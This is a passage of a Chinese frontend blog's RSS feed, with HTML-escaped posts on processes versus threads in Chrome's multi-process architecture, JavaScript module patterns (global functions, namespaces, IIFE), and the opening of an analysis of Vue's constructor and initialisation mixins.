&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工人之间共享空间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;再完善完善概念：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂的资源&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;系统分配的内存&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;独立的一块内存&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂之间的相互独立&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;进程之间相互独立&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;多个工人协作完成任务&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;多个线程在进程中协作完成任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工厂内有一个或多个工人&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;一个进程由一个或多个线程组成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;工人之间共享空间&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;同一进程下的各个线程之间共享程序的内存空间&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;（&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;包括代码段&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;数据集&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;、&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;堆等&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再巩固下：&lt;/p&gt;
&lt;p&gt;如果是windows电脑中，可以打开任务管理器，可以看到有一个后台进程列表。对，那里就是查看进程的地方，而且可以看到每个进程的内存资源信息以及cpu占有率。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;所以，应该更容易理解了：&lt;strong&gt;进程是cpu资源分配的最小单位（系统会给它分配内存）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最后，再用较为官方的术语描述一遍：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进程是cpu资源分配的最小单位（是能拥有资源和独立运行的最小单位）&lt;/li&gt;
&lt;li&gt;线程是cpu调度的最小单位（线程是建立在进程的基础上的一次程序运行单位，一个进程中可以有多个线程）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;tips&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不同进程之间也可以通信，不过代价较大&lt;/li&gt;
&lt;li&gt;现在，一般通用的叫法：&lt;strong&gt;单线程与多线程&lt;/strong&gt;，都是指&lt;strong&gt;在一个进程内&lt;/strong&gt;的单和多。（所以核心还是得属于一个进程才行）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="浏览器是多进程的"&gt;浏览器是多进程的&lt;/h2&gt;
&lt;p&gt;理解了进程与线程了区别后，接下来对浏览器进行一定程度上的认识：（先看下简化理解）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器是多进程的&lt;/li&gt;
&lt;li&gt;浏览器之所以能够运行，是因为系统给它的进程分配了资源（cpu、内存）&lt;/li&gt;
&lt;li&gt;简单点理解，每打开一个Tab页，就相当于创建了一个独立的浏览器进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于以上几点的验证，&lt;strong&gt;请再第一张图&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;图中打开了&lt;code&gt;Chrome&lt;/code&gt;浏览器的多个标签页，然后可以在&lt;code&gt;Chrome的任务管理器&lt;/code&gt;中看到有多个进程（分别是每一个Tab页面有一个独立的进程，以及一个主进程）。 感兴趣的可以自行尝试下，如果再多打开一个Tab页，进程正常会+1以上&lt;/p&gt;
&lt;p&gt;**注意：**在这里浏览器应该也有自己的优化机制，有时候打开多个tab页后，可以在Chrome任务管理器中看到，有些进程被合并了 （所以每一个Tab标签对应一个进程并不一定是绝对的）&lt;/p&gt;
&lt;h3 id="浏览器都包含哪些进程"&gt;浏览器都包含哪些进程？&lt;/h3&gt;
&lt;p&gt;知道了浏览器是多进程后，再来看看它到底包含哪些进程：（为了简化理解，仅列举主要进程）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Browser进程：浏览器的主进程（负责协调、主控），只有一个。作用有&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;负责浏览器界面显示，与用户交互。如前进，后退等&lt;/li&gt;
&lt;li&gt;负责各个页面的管理，创建和销毁其他进程&lt;/li&gt;
&lt;li&gt;将Renderer进程得到的内存中的Bitmap，绘制到用户界面上&lt;/li&gt;
&lt;li&gt;网络资源的管理，下载等&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;第三方插件进程：每种类型的插件对应一个进程，仅当使用该插件时才创建&lt;/li&gt;
&lt;li&gt;GPU进程：最多一个，用于3D绘制等&lt;/li&gt;
&lt;li&gt;浏览器渲染进程（浏览器内核）（Renderer进程，内部是多线程的）：默认每个Tab页面一个进程，互不影响。主要作用为&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;页面渲染，脚本执行，事件处理等&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;强化记忆：&lt;strong&gt;在浏览器中打开一个网页相当于新起了一个进程（进程内有自己的多线程）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当然，浏览器有时会将多个进程合并（譬如打开多个空白标签页后，会发现多个空白标签页被合并成了一个进程），如图&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-001/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;另外，可以通过Chrome的&lt;code&gt;更多工具 -&amp;gt; 任务管理器&lt;/code&gt;自行验证&lt;/p&gt;
&lt;h3 id="浏览器多进程的优势"&gt;浏览器多进程的优势&lt;/h3&gt;
&lt;p&gt;相比于单进程浏览器，多进程有如下优点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;避免单个page crash影响整个浏览器&lt;/li&gt;
&lt;li&gt;避免第三方插件crash影响整个浏览器&lt;/li&gt;
&lt;li&gt;多进程充分利用多核优势&lt;/li&gt;
&lt;li&gt;方便使用沙盒模型隔离插件等进程，提高浏览器稳定性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单点理解：&lt;strong&gt;如果浏览器是单进程，那么某个Tab页崩溃了，就影响了整个浏览器，体验有多差；同理如果是单进程，插件崩溃了也会影响整个浏览器；而且多进程还有其它的诸多优势。。。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当然，内存等资源消耗也会更大，有点空间换时间的意思。&lt;/p&gt;
&lt;h3 id="重点是浏览器内核渲染进程"&gt;重点是浏览器内核（渲染进程）&lt;/h3&gt;
&lt;p&gt;重点来了，我们可以看到，上面提到了这么多的进程，那么，对于普通的前端操作来说，最终要的是什么呢？答案是&lt;strong&gt;渲染进程&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>前端模块化</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-001/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-001/</guid><description>&lt;h2 id="一模块化的理解"&gt;一、模块化的理解&lt;/h2&gt;
&lt;h3 id="1什么是模块"&gt;1.什么是模块?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;将一个复杂的程序依据一定的规则(规范)封装成几个块(文件), 并进行组合在一起&lt;/li&gt;
&lt;li&gt;块的内部数据与实现是私有的, 只是向外部暴露一些接口(方法)与外部其它模块通信&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2模块化的进化过程"&gt;2.模块化的进化过程&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全局function模式 : 将不同的功能封装成不同的全局函数&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;编码: 将不同的功能封装成不同的全局函数&lt;/li&gt;
&lt;li&gt;问题: 污染全局命名空间, 容易引起命名冲突或数据不安全，而且模块成员之间看不出直接关系&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m1&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;m2&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;namespace模式 : 简单对象封装&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;作用: 减少了全局变量，解决命名冲突&lt;/li&gt;
&lt;li&gt;问题: 数据不安全(外部可以直接修改模块内部的数据)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;www.baidu.com&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`foo() &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`bar() &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;other data&amp;#39;&lt;/span&gt; &lt;span style="color:#75715e"&gt;//能直接修改模块内部的数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() &lt;span style="color:#75715e"&gt;// foo() other data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样的写法会暴露所有模块成员，内部状态可以被外部改写。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IIFE模式：匿名函数自调用(闭包)&lt;/strong&gt;&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;作用: 数据是私有的, 外部只能通过暴露的方法操作&lt;/li&gt;
&lt;li&gt;编码: 将数据和行为封装到一个函数内部, 通过给window添加属性来向外暴露接口&lt;/li&gt;
&lt;li&gt;问题: 如果当前这个模块依赖另一个模块怎么办?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// index.html文件
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;module.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text/javascript&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;) &lt;span style="color:#75715e"&gt;//undefined 不能访问模块内部数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;xxxx&amp;#39;&lt;/span&gt; &lt;span style="color:#75715e"&gt;//不是修改的模块内部的data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() &lt;span style="color:#75715e"&gt;//没有改变
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// module.js文件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;(window) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;www.baidu.com&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//操作数据的函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//用于暴露有函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`foo() &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//用于暴露有函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`bar() &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;otherFun&lt;/span&gt;() &lt;span style="color:#75715e"&gt;//内部调用
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;otherFun&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//内部私有的函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;otherFun()&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//暴露行为
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window.&lt;span style="color:#a6e22e"&gt;myModule&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;foo&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;bar&lt;/span&gt; } &lt;span style="color:#75715e"&gt;//ES6写法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})(window)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后得到的结果：&lt;/p&gt;</description></item><item><title>Vue实例挂载</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-001/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-001/</guid><description>&lt;h3 id="一思考"&gt;&lt;strong&gt;一、思考&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;我们都听过知其然知其所以然这句话&lt;/p&gt;
&lt;p&gt;那么不知道大家是否思考过&lt;code&gt;new Vue()&lt;/code&gt;这个过程中究竟做了些什么？&lt;/p&gt;
&lt;p&gt;过程中是如何完成数据的绑定，又是如何将数据渲染到视图的等等&lt;/p&gt;
&lt;h3 id="一分析"&gt;&lt;strong&gt;一、分析&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;首先找到&lt;code&gt;vue&lt;/code&gt;的构造函数&lt;/p&gt;
&lt;p&gt;源码位置：src\core\instance\index.js&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;NODE_ENV&lt;/span&gt; &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;production&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;!&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;instanceof&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;warn&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;Vue is a constructor and should be called with the `new` keyword&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_init&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;options&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;options&lt;/code&gt;是用户传递过来的配置项，如&lt;code&gt;data、methods&lt;/code&gt;等常用的方法&lt;/p&gt;
&lt;p&gt;&lt;code&gt;vue&lt;/code&gt;构建函数调用&lt;code&gt;_init&lt;/code&gt;方法，但我们发现本文件中并没有此方法，但仔细可以看到文件下方定定义了很多初始化方法&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;initMixin&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 定义 _init
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;stateMixin&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 定义 $set $get $delete $watch 等
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;eventsMixin&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;Vue&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 定义事件 $on $once $off $emit
